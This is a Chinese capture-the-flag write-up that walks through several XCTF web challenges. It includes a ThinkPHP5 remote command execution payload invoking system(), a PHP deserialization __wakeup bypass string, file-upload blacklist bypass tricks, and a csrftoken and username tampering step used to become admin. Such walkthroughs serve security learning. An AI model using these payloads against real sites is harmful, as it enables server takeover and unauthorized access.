攻防世界web高手进阶题

@TOC

baby_ web

在这里插入图片描述

相关知识:http中请求行请求报文以及初始页面
在这里插入图片描述
一、http中请求行请求报文
1、出现的原因:http是个无状态的协议,所以,需要在请求头和响应头中包括自身的一些信息和想要执行的动作,这样,对方在收到信息后,就可以知道你是谁,你想干什么。
2、http的请求报文由三部分组成:请求行、请求头、请求体
(1)请求行
<1>定义:默认1.1长连接, 1.0的以及被淘汰了
<2>格式:请求方式 请求资源 协议版本
<3>举例:POST /myday33/login.html HTTP/1.1,POST为请求方式,myday33/login.html为请求资源(也就是url),HTTP/1.1为协议版本
(2)请求头
<1>定义:客户端发给服务端的一些附加信息
<2>格式:key:value
请求头描述了客户端向服务器发送请求时使用的http协议类型,所使用的编码,以及发送内容的长度,refer,等等。refer是干嘛的,一般用来做简单的防跨站攻击。
(3)请求体
<1>并不是任何时候都有数据的,只有在post提交并且有参数的时候,请求体才有数据,其他情况没有.
<2>格式: name=value&name=value…
在这里插入图片描述

Training-WWW-Robots

本题涉及到robots协议的知识点,具体可查看博客攻防世界新手题

PHP2

在这里插入图片描述
相关知识:代码审计以及PHP源代码文件
phps文件就是php的源代码文件,通常用于提供给用户(访问者)查看php代码,因为用户无法直接通过Web浏览器看到php文件的内容,所以需要用phps文件代替。
1.打开浏览器,访问http://111.198.29.45:45191/index.phps 得到主页源代码。
2.进行代码审计,可看出需要用GET方式给id参数传递一个为“admin”的值,但是会经过一次urldecode(),会将传入的值进行url解码,所以要对admin进行两次url编码。
3.对admin字符串进行第一次url编码得到%61%64%6d%69%6e
4.将%61%64%6d%69%6e再次进行url编码得到%2561%2564%256d%2569%256e
5.访问http://111.198.29.45:45191/index.php?id=%2561%2564%256d%2569%256e 得到flag.
PHP反序列化漏洞:执行unserialize()时,先会调用__wakeup()。

unserialize3

在这里插入图片描述

相关知识:当序列化字符串中属性值个数大于属性个数,就会导致反序列化异常,从而跳过__wakeup()。
1.打开题目,进行代码审计,可以看到xctf类只拥有一个public的flag变量,值为111。
2.public属性序列化后格式为:数据类型:属性名长度:”属性名”;数据类型:属性值长度:”属性值”。
3.本题目中,只存在一个变量,正常情况下序列化后,如下所示。
在这里插入图片描述
4.将设置属性值为2,可导致反序列化异常,如下所示。
在这里插入图片描述
4.根据代码中的?code= 可得知,将得到的序列化字符串赋值给code进行传递。
5.访问http://111.198.29.45:34517?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}得到flag。

upload1

在这里插入图片描述
相关知识:文件上传漏洞:文件上传漏洞是web安全中经常用到的一种漏洞形式。是对数据与代码分离原则的一种攻击。上传漏洞顾名思义,就是攻击者上传了一个可执行文件如木马,病毒,恶意脚本,WebShell等到服务器执行,并最终获得网站控制权限的高危漏洞。
第一步:选择上传文件时发现,客户端有对文件后缀绕过处理在这里插入图片描述
第二步:利用burp,需要对报文进行修改
在这里插入图片描述
第三步:顺利上传木马文件,用工具连接即可得到flag
在这里插入图片描述
如何绕过文件上传黑名单:使用不常见的文件后缀名绕过,例如php3,php4,phtml,asa等等。

php-rce(thinkphp5 远程命令执行漏洞)

thinkphp5 漏洞利用(具体自行百度)
在这里插入图片描述

1
?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=php%20-r%20%27system("cat%20../../../flag");%27

贴出payload

Website

先用sqlmap扫了一下没有sql注入,尝试注册个账号看看,然后发现admin用户可以获得flag,
在这里插入图片描述

抓个包看看,点击GETFLAG抓包:看能不能篡改为admin用户

在这里插入图片描述

发现有csrftoken,还有加密的username

csrftoken:为了防止跨站域请求伪造,有的网站请求中会加入这个验证,在登录及登录后续的操作都会让你携带csrftoken,问题在于csrftoken每次刷新界面都要发生变化,所以查到csrf生成的位置就是关键所在,有的网站会把csrftoken放在html代码中返回给前端,这种找起来会比较简单

信息不足,用御剑扫描一下:发现了 test.php 和 action.php页面

其中test.php中有一段 密文 : E5xqqsvHoznsjlfDm5ryLg== 应该是admin 加密后密文

点开action.php页面 返回了 当前用户的 username 和 新生成的 csrftoken值,

在action.php页面抓包,把username改为 E5xqqsvHoznsjlfDm5ryLg==

提交得到 admin的 csrftoken值:7ee17a7dc9b90025d12c2d8a86584c8e

在这里插入图片描述

然后在 logined.php中点击GETFALG抓包,把username 和 csrftoken改为刚才获得的值